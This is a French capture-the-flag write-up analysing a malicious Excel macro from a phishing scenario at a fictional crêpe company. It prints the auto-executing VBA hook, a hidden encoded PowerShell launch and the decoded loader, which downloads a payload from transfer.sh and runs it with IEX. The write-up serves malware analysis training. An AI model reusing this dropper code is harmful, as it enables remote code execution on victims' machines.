Enoncé
BreizhCrêpes est une entreprise spécialisée dans la production de crêpes salées (miam). Gurvan, l’administrateur système de l’entreprise, reçoit un appel d’un collaborateur. Il s’agit de Gweltaz qui indique avoir cliqué sur un e-mail suspect. L’e-mail semble provenir d’un fournisseur de confiance TrueBreizhButter (producteur de beurre doux) et l’incite à ouvrir un fichier pour vérifier une facture en attente de paiement.
Le fichier Excel compta_breizh.xls est à analyser pour comprendre le déroulé de l’attaque.
Analyse
Un fichier malveillant ?
Une première analyse sur VirusTotal nous informe que le fichier est à priori pas vraiment sympa :
Pour confirmer ce premier constat et pour la suite de l’analyse, nous allons utiliser la suite python oletools qui permet l’analyse des fichiers Microsoft OLE2.
L’outil oleid
donne plus d’information sur le fichier, indiquant une utilisation suspecte des macros VBA :
L’outil mraptor
de la même suite confirme l’utilisation de fonctionnalités suspectes :
$ mraptor ressources/compta_breizh.xls
[...]
----------+-----+----+--------------------------------------------------------
Result |Flags|Type|File
----------+-----+----+--------------------------------------------------------
SUSPICIOUS|AWX |OLE:|ressources/compta_breizh.xls
Flags: A=AutoExec, W=Write, X=Execute
Exit code: 20 - SUSPICIOUS
Analyse des macros
Nous allons donc extraire le contenu des macros. Pour cela deux méthodes :
- Ouvrir depuis Excel dans une VM, ouvrir le menu des macros et récupérer le code
- Extraction avec
olevba
: La commandeolevba ressources/compta_breizh.xls -c
va afficher en sortie les différentes Macro.
La macro ThisWorkbook
est conséquente et contient de nombreuses chaînes de caractères offusquées. Ici le code source complet de cette macro.
Sur les ~1000 lignes, seules quelques lignes retiendront notre attention.
Premièrement, la fonction Workbook_Open
:
Sub Workbook_Open()
gaipsuncfgbh
End Sub
En effet, cette fonction permet de réagir à l’évènement se déclenchant à l’ouverture du classeur. C’est cette fonction qui permet d’exécuter automatiquement du code.
Note : Pour Word, c’est la fonction AutoOpen
qui permet l’exécution automatique et Auto_Open
pour PowerPoint.
Dans la suite des fonctions appelées, de nombreuses chaînes de caractères sont définies comme suivant :
Dim dpfliitiysgyfoene As String
dpfliitiysgyfoene = "b'powershell -noP -sta -w 1 -enc '"
dpfliitiysgyfoene = dpfliitiysgyfoene + "b'\xc3\xaf\xc2\xbb\xc2\xbfSiheMmInWEc6XCN0Q1VnUiM/QnckInhkRjdMbTh7J3BYRV5YX'"
' ...
Ces String
sont des commandes PowerShell, si on détaille les différents arguments utilisés :
-noP
: Ne charge pas le profil PowerShell ;-sta
: Démarre PowerShell à l’aide d’un cloisonnement monothread ;-w 1
: Définis leWindowStyle
, à la valeurHidden
(1) ;-enc
: Accepte une chaîne encodée en base 64 d’une commande. La chaîne doit être mise en forme à l’aide de l’encodage de caractères UTF-16LE.
Toutefois, seules 2 de ces chaînes sont réutilisées et 1 est intéressante. Si on garde les parties utiles et qu’on nettoie un peu le code, on obtient :
Dim smvhidmqr As String
powershell 'b'-noP -sta -w 1 -enc 'JABLAD0AWwBTAHkAcwB0AGUAbQAuAFQARQBYAFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAFQAQgB5AHQAZQBTACgAJwA3AEgAQwAyAHMAbgA4AEMAYQB4AEcANAB1AGUAVABIAGEANQBnAFMAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAFMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAE8AVQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJAB2AGkAPQBbAFMAeQBzAHQAZQBtAC4AVABFAFgAVAAuAEUATgBDAE8ARABJAE4AZwBdADoAOgBBAFMAQwBJAEkALgBHAEUAVABCAHkAdABlAFMAKAAnAGoANwBTADEAJwApADsAJABfAC0AQgBYAE8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABmAHEAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwA3ADgATQBtAEgAcwBqAEoAeQBTAEUASAAwADUAbgB5AFUAcwBrADkAcABmAGcATwBxAFcAcwBMAFMAQgBMAE8AJwApADsAJABmAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGYAcQAgACgAJAB2AGkAKwAkAGsAKQApADsAJABXAGMAPQBOAEUAVwAtAE8AQgBqAEUAQwB0ACAAUwBZAHMAdABFAE0ALgBOAGUAVAAuAFcARQBCAEMAbABJAEUATgB0ADsAJAB0AD0AJwBoAHQAdABwAHMAOgAvAC8AdAByAGEAbgBzAGYAZQByAC4AcwBoAC8AZwBlAHQAJwA7ACQAcwBlAHIAPQAnAGcAdAB3AEMAYQB0ADMAbQA0ADMANQBiAHcAYwAzAHAAZABRAD0APQAnADsAJABkAGEAdABhAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcwBlAHIAKQA7ACQASABKAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGQAYQB0AGEAIAAoACQAdgBpACsAJABrACkAKQA7ACQAZABhAHQAYQA9ACQAVwBDAC4ARABvAHcAbgBsAG8AQQBEAEQAQQBUAEEAKAAkAHQAKwAkAEgASgApADsALQBKAG8AaQBOAFsAQwBIAGEAcgBbAF0AXQAoACQARABhAHQAQQApAHwASQBFAFgA'
' ...
Set tcwxhratddfndcvrvy = CreateObject("b'wscr'b'ipt.Shell'")
tcwxhratddfndcvrvy.Run smvhidmqr
Une fois décodée, la commande PowerShell exécutée est la suivante :
$K=[System.TEXT.ENCODINg]::ASCII.GETByteS('7HC2sn8CaxG4ueTHa5gS');
$R={$D,$K=$ArgS;
$S=0..255;
0..255|%{$J=($J+$S[$_]+$K[$_%$K.COUnT])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{$I=($I+1)%256;
$H=($H+$S[$I])%256;
$S[$I],$S[$H]=$S[$H],$S[$I];
$vi=[System.TEXT.ENCODINg]::ASCII.GETByteS('j7S1');
$_-BXOR$S[($S[$I]+$S[$H])%256]}};
$fq=[System.Convert]::FromBase64String('78MmHsjJySEH05nyUsk9pfgOqWsLSBLO');
$f=-join[char[]](& $r $fq ($vi+$k));
$Wc=NEW-OBjECt SYstEM.NeT.WEBClIENt;
$t='https://transfer.sh/get';
$ser='gtwCat3m435bwc3pdQ==';
$data=[System.Convert]::FromBase64String($ser);
$HJ=-join[char[]](& $r $data ($vi+$k));
$data=$WC.DownloADDATA($t+$HJ);
-JoiN[CHar[]]($DatA)|IEX
Ces commandes PowerShell vont construire une URL puis appeler l’URL construite et exécuter, via l’expression IEX (Invoke-Expression
), les données reçues.
En modifiant un peu les commandes PowerShell, on affiche l’URL construite, ainsi que le flag, qui est dans une chaîne de caractère inutilisé :
Voilà, fin du challenge, pour le Write-up original de l’auteur, c’est ici.
À propos de l’auteur
Article écrit par Alexandre RIPOTEAU alias Vunnm, Ingénieur en Test d’Intrusion chez ACCEIS.